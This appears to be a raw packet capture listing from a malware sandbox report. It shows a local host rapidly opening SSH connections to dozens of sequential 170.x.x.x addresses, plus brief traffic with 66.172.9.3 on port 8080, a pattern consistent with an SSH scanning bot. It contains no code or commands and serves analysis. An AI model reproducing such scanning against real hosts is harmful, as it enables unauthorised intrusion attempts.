Oct 22, 2024 18:10:15.235889912 CEST	33898	22	192.168.2.13	170.164.179.246
Oct 22, 2024 18:10:15.238845110 CEST	22	33468	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:15.238939047 CEST	33468	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:15.239033937 CEST	22	35754	170.101.182.155	192.168.2.13
Oct 22, 2024 18:10:15.239082098 CEST	35754	22	192.168.2.13	170.101.182.155
Oct 22, 2024 18:10:15.239856958 CEST	35754	22	192.168.2.13	170.101.182.155
Oct 22, 2024 18:10:15.240397930 CEST	33468	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:15.241350889 CEST	22	33898	170.164.179.246	192.168.2.13
Oct 22, 2024 18:10:15.241410971 CEST	33898	22	192.168.2.13	170.164.179.246
Oct 22, 2024 18:10:15.241774082 CEST	33898	22	192.168.2.13	170.164.179.246
Oct 22, 2024 18:10:15.245409012 CEST	22	35754	170.101.182.155	192.168.2.13
Oct 22, 2024 18:10:15.245800972 CEST	22	33468	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:15.247260094 CEST	22	33898	170.164.179.246	192.168.2.13
Oct 22, 2024 18:10:15.265096903 CEST	38580	22	192.168.2.13	170.117.24.184
Oct 22, 2024 18:10:15.270833969 CEST	22	38580	170.117.24.184	192.168.2.13
Oct 22, 2024 18:10:15.270899057 CEST	38580	22	192.168.2.13	170.117.24.184
Oct 22, 2024 18:10:15.272490978 CEST	38580	22	192.168.2.13	170.117.24.184
Oct 22, 2024 18:10:15.277976036 CEST	22	38580	170.117.24.184	192.168.2.13
Oct 22, 2024 18:10:15.286101103 CEST	59092	22	192.168.2.13	170.11.158.252
Oct 22, 2024 18:10:15.287322044 CEST	37966	22	192.168.2.13	170.36.13.92
Oct 22, 2024 18:10:15.300595999 CEST	22	59092	170.11.158.252	192.168.2.13
Oct 22, 2024 18:10:15.300617933 CEST	22	37966	170.36.13.92	192.168.2.13
Oct 22, 2024 18:10:15.300652027 CEST	59092	22	192.168.2.13	170.11.158.252
Oct 22, 2024 18:10:15.300654888 CEST	37966	22	192.168.2.13	170.36.13.92
Oct 22, 2024 18:10:15.301050901 CEST	37966	22	192.168.2.13	170.36.13.92
Oct 22, 2024 18:10:15.301050901 CEST	59092	22	192.168.2.13	170.11.158.252
Oct 22, 2024 18:10:15.306375980 CEST	22	59092	170.11.158.252	192.168.2.13
Oct 22, 2024 18:10:15.306396008 CEST	22	37966	170.36.13.92	192.168.2.13
Oct 22, 2024 18:10:15.312377930 CEST	47394	22	192.168.2.13	170.175.91.234
Oct 22, 2024 18:10:15.313354969 CEST	43360	22	192.168.2.13	170.95.200.204
Oct 22, 2024 18:10:15.316734076 CEST	44528	22	192.168.2.13	170.248.202.2
Oct 22, 2024 18:10:15.317950964 CEST	22	47394	170.175.91.234	192.168.2.13
Oct 22, 2024 18:10:15.318010092 CEST	47394	22	192.168.2.13	170.175.91.234
Oct 22, 2024 18:10:15.318449974 CEST	47394	22	192.168.2.13	170.175.91.234
Oct 22, 2024 18:10:15.318706036 CEST	22	43360	170.95.200.204	192.168.2.13
Oct 22, 2024 18:10:15.318742990 CEST	43360	22	192.168.2.13	170.95.200.204
Oct 22, 2024 18:10:15.320097923 CEST	43360	22	192.168.2.13	170.95.200.204
Oct 22, 2024 18:10:15.322154999 CEST	22	44528	170.248.202.2	192.168.2.13
Oct 22, 2024 18:10:15.322196007 CEST	44528	22	192.168.2.13	170.248.202.2
Oct 22, 2024 18:10:15.323369980 CEST	44528	22	192.168.2.13	170.248.202.2
Oct 22, 2024 18:10:15.323772907 CEST	22	47394	170.175.91.234	192.168.2.13
Oct 22, 2024 18:10:15.325470924 CEST	22	43360	170.95.200.204	192.168.2.13
Oct 22, 2024 18:10:15.328746080 CEST	22	44528	170.248.202.2	192.168.2.13
Oct 22, 2024 18:10:15.334789038 CEST	54766	22	192.168.2.13	170.145.2.99
Oct 22, 2024 18:10:15.340168953 CEST	22	54766	170.145.2.99	192.168.2.13
Oct 22, 2024 18:10:15.340218067 CEST	54766	22	192.168.2.13	170.145.2.99
Oct 22, 2024 18:10:15.340699911 CEST	54766	22	192.168.2.13	170.145.2.99
Oct 22, 2024 18:10:15.346008062 CEST	22	54766	170.145.2.99	192.168.2.13
Oct 22, 2024 18:10:15.352951050 CEST	33384	22	192.168.2.13	170.226.224.83
Oct 22, 2024 18:10:15.358345032 CEST	22	33384	170.226.224.83	192.168.2.13
Oct 22, 2024 18:10:15.358388901 CEST	33384	22	192.168.2.13	170.226.224.83
Oct 22, 2024 18:10:15.358747959 CEST	37960	22	192.168.2.13	170.61.103.111
Oct 22, 2024 18:10:15.360001087 CEST	33384	22	192.168.2.13	170.226.224.83
Oct 22, 2024 18:10:15.364151955 CEST	22	37960	170.61.103.111	192.168.2.13
Oct 22, 2024 18:10:15.364196062 CEST	37960	22	192.168.2.13	170.61.103.111
Oct 22, 2024 18:10:15.365339994 CEST	22	33384	170.226.224.83	192.168.2.13
Oct 22, 2024 18:10:15.365614891 CEST	37960	22	192.168.2.13	170.61.103.111
Oct 22, 2024 18:10:15.371062994 CEST	22	37960	170.61.103.111	192.168.2.13
Oct 22, 2024 18:10:15.378993034 CEST	33548	22	192.168.2.13	170.161.105.35
Oct 22, 2024 18:10:15.384437084 CEST	22	33548	170.161.105.35	192.168.2.13
Oct 22, 2024 18:10:15.384486914 CEST	33548	22	192.168.2.13	170.161.105.35
Oct 22, 2024 18:10:15.385529995 CEST	33548	22	192.168.2.13	170.161.105.35
Oct 22, 2024 18:10:15.391046047 CEST	22	33548	170.161.105.35	192.168.2.13
Oct 22, 2024 18:10:15.397708893 CEST	58700	22	192.168.2.13	170.85.58.71
Oct 22, 2024 18:10:15.403225899 CEST	22	58700	170.85.58.71	192.168.2.13
Oct 22, 2024 18:10:15.403299093 CEST	58700	22	192.168.2.13	170.85.58.71
Oct 22, 2024 18:10:15.405599117 CEST	58700	22	192.168.2.13	170.85.58.71
Oct 22, 2024 18:10:15.411016941 CEST	22	58700	170.85.58.71	192.168.2.13
Oct 22, 2024 18:10:15.411227942 CEST	60032	22	192.168.2.13	170.91.247.225
Oct 22, 2024 18:10:15.416791916 CEST	22	60032	170.91.247.225	192.168.2.13
Oct 22, 2024 18:10:15.416853905 CEST	60032	22	192.168.2.13	170.91.247.225
Oct 22, 2024 18:10:15.420346022 CEST	60032	22	192.168.2.13	170.91.247.225
Oct 22, 2024 18:10:15.425714970 CEST	22	60032	170.91.247.225	192.168.2.13
Oct 22, 2024 18:10:15.428051949 CEST	55248	22	192.168.2.13	170.148.247.197
Oct 22, 2024 18:10:15.433515072 CEST	22	55248	170.148.247.197	192.168.2.13
Oct 22, 2024 18:10:15.433569908 CEST	55248	22	192.168.2.13	170.148.247.197
Oct 22, 2024 18:10:15.435827017 CEST	55248	22	192.168.2.13	170.148.247.197
Oct 22, 2024 18:10:15.441180944 CEST	22	55248	170.148.247.197	192.168.2.13
Oct 22, 2024 18:10:15.444530964 CEST	42924	22	192.168.2.13	170.92.43.246
Oct 22, 2024 18:10:15.449981928 CEST	22	42924	170.92.43.246	192.168.2.13
Oct 22, 2024 18:10:15.450063944 CEST	42924	22	192.168.2.13	170.92.43.246
Oct 22, 2024 18:10:15.451113939 CEST	42924	22	192.168.2.13	170.92.43.246
Oct 22, 2024 18:10:15.456455946 CEST	22	42924	170.92.43.246	192.168.2.13
Oct 22, 2024 18:10:15.459003925 CEST	43974	22	192.168.2.13	170.172.121.235
Oct 22, 2024 18:10:15.464410067 CEST	22	43974	170.172.121.235	192.168.2.13
Oct 22, 2024 18:10:15.464468002 CEST	43974	22	192.168.2.13	170.172.121.235
Oct 22, 2024 18:10:15.465464115 CEST	43974	22	192.168.2.13	170.172.121.235
Oct 22, 2024 18:10:15.470879078 CEST	22	43974	170.172.121.235	192.168.2.13
Oct 22, 2024 18:10:15.474714994 CEST	49602	22	192.168.2.13	170.131.193.150
Oct 22, 2024 18:10:15.480110884 CEST	22	49602	170.131.193.150	192.168.2.13
Oct 22, 2024 18:10:15.480160952 CEST	49602	22	192.168.2.13	170.131.193.150
Oct 22, 2024 18:10:15.482081890 CEST	49602	22	192.168.2.13	170.131.193.150
Oct 22, 2024 18:10:15.487499952 CEST	22	49602	170.131.193.150	192.168.2.13
Oct 22, 2024 18:10:15.489125013 CEST	52264	22	192.168.2.13	170.116.33.191
Oct 22, 2024 18:10:15.494537115 CEST	22	52264	170.116.33.191	192.168.2.13
Oct 22, 2024 18:10:15.494592905 CEST	52264	22	192.168.2.13	170.116.33.191
Oct 22, 2024 18:10:15.496602058 CEST	52264	22	192.168.2.13	170.116.33.191
Oct 22, 2024 18:10:15.502096891 CEST	22	52264	170.116.33.191	192.168.2.13
Oct 22, 2024 18:10:15.504028082 CEST	55826	22	192.168.2.13	170.203.115.246
Oct 22, 2024 18:10:15.509442091 CEST	22	55826	170.203.115.246	192.168.2.13
Oct 22, 2024 18:10:15.509494066 CEST	55826	22	192.168.2.13	170.203.115.246
Oct 22, 2024 18:10:15.510826111 CEST	55826	22	192.168.2.13	170.203.115.246
Oct 22, 2024 18:10:15.511406898 CEST	49016	22	192.168.2.13	170.22.108.72
Oct 22, 2024 18:10:15.516233921 CEST	22	55826	170.203.115.246	192.168.2.13
Oct 22, 2024 18:10:15.516772985 CEST	22	49016	170.22.108.72	192.168.2.13
Oct 22, 2024 18:10:15.516824007 CEST	49016	22	192.168.2.13	170.22.108.72
Oct 22, 2024 18:10:15.520241022 CEST	49016	22	192.168.2.13	170.22.108.72
Oct 22, 2024 18:10:15.525755882 CEST	22	49016	170.22.108.72	192.168.2.13
Oct 22, 2024 18:10:15.529320955 CEST	46176	22	192.168.2.13	170.153.44.0
Oct 22, 2024 18:10:15.534754992 CEST	22	46176	170.153.44.0	192.168.2.13
Oct 22, 2024 18:10:15.534797907 CEST	46176	22	192.168.2.13	170.153.44.0
Oct 22, 2024 18:10:15.535896063 CEST	46176	22	192.168.2.13	170.153.44.0
Oct 22, 2024 18:10:15.541287899 CEST	22	46176	170.153.44.0	192.168.2.13
Oct 22, 2024 18:10:15.541568995 CEST	44424	22	192.168.2.13	170.2.29.103
Oct 22, 2024 18:10:15.546403885 CEST	48428	22	192.168.2.13	170.234.237.227
Oct 22, 2024 18:10:15.547086954 CEST	22	44424	170.2.29.103	192.168.2.13
Oct 22, 2024 18:10:15.547143936 CEST	44424	22	192.168.2.13	170.2.29.103
Oct 22, 2024 18:10:15.547528028 CEST	44424	22	192.168.2.13	170.2.29.103
Oct 22, 2024 18:10:15.548198938 CEST	60528	22	192.168.2.13	170.171.28.151
Oct 22, 2024 18:10:15.552037954 CEST	22	48428	170.234.237.227	192.168.2.13
Oct 22, 2024 18:10:15.552092075 CEST	48428	22	192.168.2.13	170.234.237.227
Oct 22, 2024 18:10:15.552622080 CEST	48428	22	192.168.2.13	170.234.237.227
Oct 22, 2024 18:10:15.553133011 CEST	22	44424	170.2.29.103	192.168.2.13
Oct 22, 2024 18:10:15.553759098 CEST	22	60528	170.171.28.151	192.168.2.13
Oct 22, 2024 18:10:15.553800106 CEST	60528	22	192.168.2.13	170.171.28.151
Oct 22, 2024 18:10:15.554341078 CEST	60528	22	192.168.2.13	170.171.28.151
Oct 22, 2024 18:10:15.558065891 CEST	22	48428	170.234.237.227	192.168.2.13
Oct 22, 2024 18:10:15.559716940 CEST	22	60528	170.171.28.151	192.168.2.13
Oct 22, 2024 18:10:15.561523914 CEST	52180	22	192.168.2.13	170.137.44.87
Oct 22, 2024 18:10:15.566925049 CEST	22	52180	170.137.44.87	192.168.2.13
Oct 22, 2024 18:10:15.566999912 CEST	52180	22	192.168.2.13	170.137.44.87
Oct 22, 2024 18:10:15.567451000 CEST	52180	22	192.168.2.13	170.137.44.87
Oct 22, 2024 18:10:15.572880983 CEST	22	52180	170.137.44.87	192.168.2.13
Oct 22, 2024 18:10:15.584786892 CEST	57892	22	192.168.2.13	170.160.140.118
Oct 22, 2024 18:10:15.586976051 CEST	49372	22	192.168.2.13	170.169.238.170
Oct 22, 2024 18:10:15.590270996 CEST	22	57892	170.160.140.118	192.168.2.13
Oct 22, 2024 18:10:15.590322971 CEST	57892	22	192.168.2.13	170.160.140.118
Oct 22, 2024 18:10:15.590815067 CEST	57892	22	192.168.2.13	170.160.140.118
Oct 22, 2024 18:10:15.592402935 CEST	22	49372	170.169.238.170	192.168.2.13
Oct 22, 2024 18:10:15.592464924 CEST	49372	22	192.168.2.13	170.169.238.170
Oct 22, 2024 18:10:15.593251944 CEST	49372	22	192.168.2.13	170.169.238.170
Oct 22, 2024 18:10:15.596223116 CEST	22	57892	170.160.140.118	192.168.2.13
Oct 22, 2024 18:10:15.598638058 CEST	22	49372	170.169.238.170	192.168.2.13
Oct 22, 2024 18:10:15.617585897 CEST	33132	22	192.168.2.13	170.223.54.94
Oct 22, 2024 18:10:15.617805958 CEST	57982	22	192.168.2.13	170.155.142.187
Oct 22, 2024 18:10:15.623096943 CEST	22	33132	170.223.54.94	192.168.2.13
Oct 22, 2024 18:10:15.623147011 CEST	33132	22	192.168.2.13	170.223.54.94
Oct 22, 2024 18:10:15.623249054 CEST	22	57982	170.155.142.187	192.168.2.13
Oct 22, 2024 18:10:15.623358011 CEST	57982	22	192.168.2.13	170.155.142.187
Oct 22, 2024 18:10:15.623786926 CEST	33132	22	192.168.2.13	170.223.54.94
Oct 22, 2024 18:10:15.623897076 CEST	57982	22	192.168.2.13	170.155.142.187
Oct 22, 2024 18:10:15.629143953 CEST	22	33132	170.223.54.94	192.168.2.13
Oct 22, 2024 18:10:15.629301071 CEST	22	57982	170.155.142.187	192.168.2.13
Oct 22, 2024 18:10:15.640417099 CEST	39784	22	192.168.2.13	170.145.90.27
Oct 22, 2024 18:10:15.642019033 CEST	33632	22	192.168.2.13	170.165.189.213
Oct 22, 2024 18:10:15.645889997 CEST	22	39784	170.145.90.27	192.168.2.13
Oct 22, 2024 18:10:15.645944118 CEST	39784	22	192.168.2.13	170.145.90.27
Oct 22, 2024 18:10:15.646560907 CEST	39784	22	192.168.2.13	170.145.90.27
Oct 22, 2024 18:10:15.647433043 CEST	22	33632	170.165.189.213	192.168.2.13
Oct 22, 2024 18:10:15.647480011 CEST	33632	22	192.168.2.13	170.165.189.213
Oct 22, 2024 18:10:15.649199963 CEST	33632	22	192.168.2.13	170.165.189.213
Oct 22, 2024 18:10:15.651954889 CEST	22	39784	170.145.90.27	192.168.2.13
Oct 22, 2024 18:10:15.654722929 CEST	22	33632	170.165.189.213	192.168.2.13
Oct 22, 2024 18:10:15.656498909 CEST	38224	22	192.168.2.13	170.62.149.106
Oct 22, 2024 18:10:15.662033081 CEST	22	38224	170.62.149.106	192.168.2.13
Oct 22, 2024 18:10:15.662096977 CEST	38224	22	192.168.2.13	170.62.149.106
Oct 22, 2024 18:10:15.663374901 CEST	38224	22	192.168.2.13	170.62.149.106
Oct 22, 2024 18:10:15.667355061 CEST	51298	22	192.168.2.13	170.243.26.23
Oct 22, 2024 18:10:15.668817997 CEST	22	38224	170.62.149.106	192.168.2.13
Oct 22, 2024 18:10:15.672868013 CEST	22	51298	170.243.26.23	192.168.2.13
Oct 22, 2024 18:10:15.672919035 CEST	51298	22	192.168.2.13	170.243.26.23
Oct 22, 2024 18:10:15.675163031 CEST	51298	22	192.168.2.13	170.243.26.23
Oct 22, 2024 18:10:15.679805040 CEST	34150	22	192.168.2.13	170.102.242.28
Oct 22, 2024 18:10:15.680649996 CEST	22	51298	170.243.26.23	192.168.2.13
Oct 22, 2024 18:10:15.685237885 CEST	22	34150	170.102.242.28	192.168.2.13
Oct 22, 2024 18:10:15.685285091 CEST	34150	22	192.168.2.13	170.102.242.28
Oct 22, 2024 18:10:15.686547995 CEST	34150	22	192.168.2.13	170.102.242.28
Oct 22, 2024 18:10:15.692056894 CEST	22	34150	170.102.242.28	192.168.2.13
Oct 22, 2024 18:10:15.699295998 CEST	59542	22	192.168.2.13	170.198.165.56
Oct 22, 2024 18:10:15.704880953 CEST	22	59542	170.198.165.56	192.168.2.13
Oct 22, 2024 18:10:15.704940081 CEST	59542	22	192.168.2.13	170.198.165.56
Oct 22, 2024 18:10:15.705780983 CEST	59542	22	192.168.2.13	170.198.165.56
Oct 22, 2024 18:10:15.708075047 CEST	45070	22	192.168.2.13	170.118.23.94
Oct 22, 2024 18:10:15.711247921 CEST	22	59542	170.198.165.56	192.168.2.13
Oct 22, 2024 18:10:15.713629007 CEST	22	45070	170.118.23.94	192.168.2.13
Oct 22, 2024 18:10:15.713685989 CEST	45070	22	192.168.2.13	170.118.23.94
Oct 22, 2024 18:10:15.714394093 CEST	45070	22	192.168.2.13	170.118.23.94
Oct 22, 2024 18:10:15.719719887 CEST	22	45070	170.118.23.94	192.168.2.13
Oct 22, 2024 18:10:15.724059105 CEST	51308	22	192.168.2.13	170.208.3.249
Oct 22, 2024 18:10:15.729578972 CEST	22	51308	170.208.3.249	192.168.2.13
Oct 22, 2024 18:10:15.729640007 CEST	51308	22	192.168.2.13	170.208.3.249
Oct 22, 2024 18:10:15.730947971 CEST	51308	22	192.168.2.13	170.208.3.249
Oct 22, 2024 18:10:15.736835003 CEST	22	51308	170.208.3.249	192.168.2.13
Oct 22, 2024 18:10:15.739584923 CEST	34588	22	192.168.2.13	170.130.24.6
Oct 22, 2024 18:10:15.745093107 CEST	22	34588	170.130.24.6	192.168.2.13
Oct 22, 2024 18:10:15.745157957 CEST	34588	22	192.168.2.13	170.130.24.6
Oct 22, 2024 18:10:15.745529890 CEST	34588	22	192.168.2.13	170.130.24.6
Oct 22, 2024 18:10:15.750988960 CEST	22	34588	170.130.24.6	192.168.2.13
Oct 22, 2024 18:10:15.753958941 CEST	35896	22	192.168.2.13	170.176.79.214
Oct 22, 2024 18:10:15.759450912 CEST	22	35896	170.176.79.214	192.168.2.13
Oct 22, 2024 18:10:15.759511948 CEST	35896	22	192.168.2.13	170.176.79.214
Oct 22, 2024 18:10:15.761126041 CEST	35810	22	192.168.2.13	170.216.147.190
Oct 22, 2024 18:10:15.762371063 CEST	35896	22	192.168.2.13	170.176.79.214
Oct 22, 2024 18:10:15.764527082 CEST	43430	22	192.168.2.13	170.197.234.71
Oct 22, 2024 18:10:15.766700029 CEST	22	35810	170.216.147.190	192.168.2.13
Oct 22, 2024 18:10:15.766761065 CEST	35810	22	192.168.2.13	170.216.147.190
Oct 22, 2024 18:10:15.767503023 CEST	35810	22	192.168.2.13	170.216.147.190
Oct 22, 2024 18:10:15.767746925 CEST	22	35896	170.176.79.214	192.168.2.13
Oct 22, 2024 18:10:15.769949913 CEST	22	43430	170.197.234.71	192.168.2.13
Oct 22, 2024 18:10:15.769994020 CEST	43430	22	192.168.2.13	170.197.234.71
Oct 22, 2024 18:10:15.770992041 CEST	43430	22	192.168.2.13	170.197.234.71
Oct 22, 2024 18:10:15.772996902 CEST	22	35810	170.216.147.190	192.168.2.13
Oct 22, 2024 18:10:15.776622057 CEST	22	43430	170.197.234.71	192.168.2.13
Oct 22, 2024 18:10:15.789397001 CEST	36370	22	192.168.2.13	170.113.88.98
Oct 22, 2024 18:10:15.794857979 CEST	22	36370	170.113.88.98	192.168.2.13
Oct 22, 2024 18:10:15.794914961 CEST	36370	22	192.168.2.13	170.113.88.98
Oct 22, 2024 18:10:15.796046972 CEST	36370	22	192.168.2.13	170.113.88.98
Oct 22, 2024 18:10:15.796896935 CEST	50570	22	192.168.2.13	170.181.57.134
Oct 22, 2024 18:10:15.801500082 CEST	22	36370	170.113.88.98	192.168.2.13
Oct 22, 2024 18:10:15.802369118 CEST	22	50570	170.181.57.134	192.168.2.13
Oct 22, 2024 18:10:15.802433968 CEST	50570	22	192.168.2.13	170.181.57.134
Oct 22, 2024 18:10:15.803158045 CEST	50570	22	192.168.2.13	170.181.57.134
Oct 22, 2024 18:10:15.808614016 CEST	22	50570	170.181.57.134	192.168.2.13
Oct 22, 2024 18:10:15.821383953 CEST	52030	22	192.168.2.13	170.70.55.166
Oct 22, 2024 18:10:15.826941013 CEST	22	52030	170.70.55.166	192.168.2.13
Oct 22, 2024 18:10:15.827004910 CEST	52030	22	192.168.2.13	170.70.55.166
Oct 22, 2024 18:10:15.831224918 CEST	34350	22	192.168.2.13	170.197.199.160
Oct 22, 2024 18:10:15.832710981 CEST	52030	22	192.168.2.13	170.70.55.166
Oct 22, 2024 18:10:15.836587906 CEST	51492	22	192.168.2.13	170.133.239.244
Oct 22, 2024 18:10:15.836699963 CEST	22	34350	170.197.199.160	192.168.2.13
Oct 22, 2024 18:10:15.837299109 CEST	34350	22	192.168.2.13	170.197.199.160
Oct 22, 2024 18:10:15.837853909 CEST	34350	22	192.168.2.13	170.197.199.160
Oct 22, 2024 18:10:15.838076115 CEST	22	52030	170.70.55.166	192.168.2.13
Oct 22, 2024 18:10:15.842161894 CEST	22	51492	170.133.239.244	192.168.2.13
Oct 22, 2024 18:10:15.842207909 CEST	51492	22	192.168.2.13	170.133.239.244
Oct 22, 2024 18:10:15.843199968 CEST	22	34350	170.197.199.160	192.168.2.13
Oct 22, 2024 18:10:15.844902039 CEST	51492	22	192.168.2.13	170.133.239.244
Oct 22, 2024 18:10:15.849474907 CEST	32812	22	192.168.2.13	170.13.28.92
Oct 22, 2024 18:10:15.850255966 CEST	22	51492	170.133.239.244	192.168.2.13
Oct 22, 2024 18:10:15.851675987 CEST	59192	22	192.168.2.13	170.15.57.226
Oct 22, 2024 18:10:15.854954958 CEST	22	32812	170.13.28.92	192.168.2.13
Oct 22, 2024 18:10:15.855000019 CEST	32812	22	192.168.2.13	170.13.28.92
Oct 22, 2024 18:10:15.855474949 CEST	32812	22	192.168.2.13	170.13.28.92
Oct 22, 2024 18:10:15.857095957 CEST	22	59192	170.15.57.226	192.168.2.13
Oct 22, 2024 18:10:15.857139111 CEST	59192	22	192.168.2.13	170.15.57.226
Oct 22, 2024 18:10:15.857619047 CEST	59192	22	192.168.2.13	170.15.57.226
Oct 22, 2024 18:10:15.860997915 CEST	22	32812	170.13.28.92	192.168.2.13
Oct 22, 2024 18:10:15.862981081 CEST	22	59192	170.15.57.226	192.168.2.13
Oct 22, 2024 18:10:15.886676073 CEST	57642	22	192.168.2.13	170.209.16.77
Oct 22, 2024 18:10:15.890152931 CEST	53064	22	192.168.2.13	170.10.33.33
Oct 22, 2024 18:10:15.892149925 CEST	22	57642	170.209.16.77	192.168.2.13
Oct 22, 2024 18:10:15.892211914 CEST	57642	22	192.168.2.13	170.209.16.77
Oct 22, 2024 18:10:15.893105030 CEST	57642	22	192.168.2.13	170.209.16.77
Oct 22, 2024 18:10:15.895514965 CEST	22	53064	170.10.33.33	192.168.2.13
Oct 22, 2024 18:10:15.895565033 CEST	53064	22	192.168.2.13	170.10.33.33
Oct 22, 2024 18:10:15.897469044 CEST	53064	22	192.168.2.13	170.10.33.33
Oct 22, 2024 18:10:15.898499012 CEST	22	57642	170.209.16.77	192.168.2.13
Oct 22, 2024 18:10:15.902874947 CEST	22	53064	170.10.33.33	192.168.2.13
Oct 22, 2024 18:10:15.903692007 CEST	49910	22	192.168.2.13	170.9.37.40
Oct 22, 2024 18:10:15.909145117 CEST	22	49910	170.9.37.40	192.168.2.13
Oct 22, 2024 18:10:15.909219027 CEST	49910	22	192.168.2.13	170.9.37.40
Oct 22, 2024 18:10:15.909651995 CEST	49910	22	192.168.2.13	170.9.37.40
Oct 22, 2024 18:10:15.914992094 CEST	22	49910	170.9.37.40	192.168.2.13
Oct 22, 2024 18:10:15.919816971 CEST	45694	22	192.168.2.13	170.75.184.135
Oct 22, 2024 18:10:15.925280094 CEST	22	45694	170.75.184.135	192.168.2.13
Oct 22, 2024 18:10:15.925333023 CEST	45694	22	192.168.2.13	170.75.184.135
Oct 22, 2024 18:10:15.926744938 CEST	45694	22	192.168.2.13	170.75.184.135
Oct 22, 2024 18:10:15.932136059 CEST	22	45694	170.75.184.135	192.168.2.13
Oct 22, 2024 18:10:15.936872959 CEST	52964	22	192.168.2.13	170.143.114.154
Oct 22, 2024 18:10:15.942984104 CEST	22	52964	170.143.114.154	192.168.2.13
Oct 22, 2024 18:10:15.943083048 CEST	52964	22	192.168.2.13	170.143.114.154
Oct 22, 2024 18:10:15.944642067 CEST	52964	22	192.168.2.13	170.143.114.154
Oct 22, 2024 18:10:15.950110912 CEST	22	52964	170.143.114.154	192.168.2.13
Oct 22, 2024 18:10:15.979379892 CEST	34718	22	192.168.2.13	170.178.181.55
Oct 22, 2024 18:10:15.985079050 CEST	22	34718	170.178.181.55	192.168.2.13
Oct 22, 2024 18:10:15.985141993 CEST	34718	22	192.168.2.13	170.178.181.55
Oct 22, 2024 18:10:15.988610983 CEST	34718	22	192.168.2.13	170.178.181.55
Oct 22, 2024 18:10:15.994034052 CEST	22	34718	170.178.181.55	192.168.2.13
Oct 22, 2024 18:10:15.997807026 CEST	57570	22	192.168.2.13	170.55.91.117
Oct 22, 2024 18:10:16.004105091 CEST	22	57570	170.55.91.117	192.168.2.13
Oct 22, 2024 18:10:16.004156113 CEST	57570	22	192.168.2.13	170.55.91.117
Oct 22, 2024 18:10:16.004651070 CEST	53814	22	192.168.2.13	170.132.252.182
Oct 22, 2024 18:10:16.010080099 CEST	22	53814	170.132.252.182	192.168.2.13
Oct 22, 2024 18:10:16.010142088 CEST	53814	22	192.168.2.13	170.132.252.182
Oct 22, 2024 18:10:16.017405033 CEST	57570	22	192.168.2.13	170.55.91.117
Oct 22, 2024 18:10:16.020520926 CEST	53814	22	192.168.2.13	170.132.252.182
Oct 22, 2024 18:10:16.022813082 CEST	22	57570	170.55.91.117	192.168.2.13
Oct 22, 2024 18:10:16.025955915 CEST	22	53814	170.132.252.182	192.168.2.13
Oct 22, 2024 18:10:16.099090099 CEST	50430	22	192.168.2.13	170.130.113.232
Oct 22, 2024 18:10:16.106364012 CEST	22	50430	170.130.113.232	192.168.2.13
Oct 22, 2024 18:10:16.106991053 CEST	50430	22	192.168.2.13	170.130.113.232
Oct 22, 2024 18:10:16.108114004 CEST	22	33468	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:16.109260082 CEST	33468	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:16.160167933 CEST	50430	22	192.168.2.13	170.130.113.232
Oct 22, 2024 18:10:16.165580988 CEST	22	50430	170.130.113.232	192.168.2.13
Oct 22, 2024 18:10:16.292216063 CEST	22	33468	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:16.293133020 CEST	33468	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:16.293194056 CEST	34478	22	192.168.2.13	170.170.172.163
Oct 22, 2024 18:10:16.298465967 CEST	22	34478	170.170.172.163	192.168.2.13
Oct 22, 2024 18:10:16.298976898 CEST	34478	22	192.168.2.13	170.170.172.163
Oct 22, 2024 18:10:16.376365900 CEST	22	51492	170.133.239.244	192.168.2.13
Oct 22, 2024 18:10:16.377264977 CEST	51492	22	192.168.2.13	170.133.239.244
Oct 22, 2024 18:10:16.378864050 CEST	32932	22	192.168.2.13	170.21.94.92
Oct 22, 2024 18:10:16.382709026 CEST	22	51492	170.133.239.244	192.168.2.13
Oct 22, 2024 18:10:16.384358883 CEST	22	32932	170.21.94.92	192.168.2.13
Oct 22, 2024 18:10:16.384536028 CEST	32932	22	192.168.2.13	170.21.94.92
Oct 22, 2024 18:10:16.387412071 CEST	55582	22	192.168.2.13	170.83.93.72
Oct 22, 2024 18:10:16.390101910 CEST	34478	22	192.168.2.13	170.170.172.163
Oct 22, 2024 18:10:16.392738104 CEST	22	55582	170.83.93.72	192.168.2.13
Oct 22, 2024 18:10:16.393696070 CEST	55582	22	192.168.2.13	170.83.93.72
Oct 22, 2024 18:10:16.395404100 CEST	22	34478	170.170.172.163	192.168.2.13
Oct 22, 2024 18:10:16.396137953 CEST	8080	33610	66.172.9.3	192.168.2.13
Oct 22, 2024 18:10:16.396423101 CEST	33610	8080	192.168.2.13	66.172.9.3
Oct 22, 2024 18:10:16.414845943 CEST	56088	22	192.168.2.13	170.212.24.175
Oct 22, 2024 18:10:16.421052933 CEST	22	56088	170.212.24.175	192.168.2.13
Oct 22, 2024 18:10:16.422733068 CEST	56088	22	192.168.2.13	170.212.24.175
Oct 22, 2024 18:10:16.489636898 CEST	32932	22	192.168.2.13	170.21.94.92
Oct 22, 2024 18:10:16.494990110 CEST	22	32932	170.21.94.92	192.168.2.13
Oct 22, 2024 18:10:16.496303082 CEST	55582	22	192.168.2.13	170.83.93.72
Oct 22, 2024 18:10:16.501604080 CEST	22	55582	170.83.93.72	192.168.2.13
Oct 22, 2024 18:10:16.518930912 CEST	33468	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:16.524322987 CEST	22	33468	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:16.524390936 CEST	33468	22	192.168.2.13	170.64.175.186
Oct 22, 2024 18:10:16.526443005 CEST	56088	22	192.168.2.13	170.212.24.175
Oct 22, 2024 18:10:16.529665947 CEST	22	33468	170.64.175.186	192.168.2.13
Oct 22, 2024 18:10:16.529838085 CEST	56798	22	192.168.2.13	170.200.123.21
Oct 22, 2024 18:10:16.532174110 CEST	22	56088	170.212.24.175	192.168.2.13
Oct 22, 2024 18:10:16.535615921 CEST	22	56798	170.200.123.21	192.168.2.13
Oct 22, 2024 18:10:16.538759947 CEST	56798	22	192.168.2.13	170.200.123.21
Oct 22, 2024 18:10:16.635124922 CEST	52530	22	192.168.2.13	170.239.50.132
Oct 22, 2024 18:10:16.642144918 CEST	22	52530	170.239.50.132	192.168.2.13
Oct 22, 2024 18:10:16.642523050 CEST	52530	22	192.168.2.13	170.239.50.132
Oct 22, 2024 18:10:16.688101053 CEST	56798	22	192.168.2.13	170.200.123.21
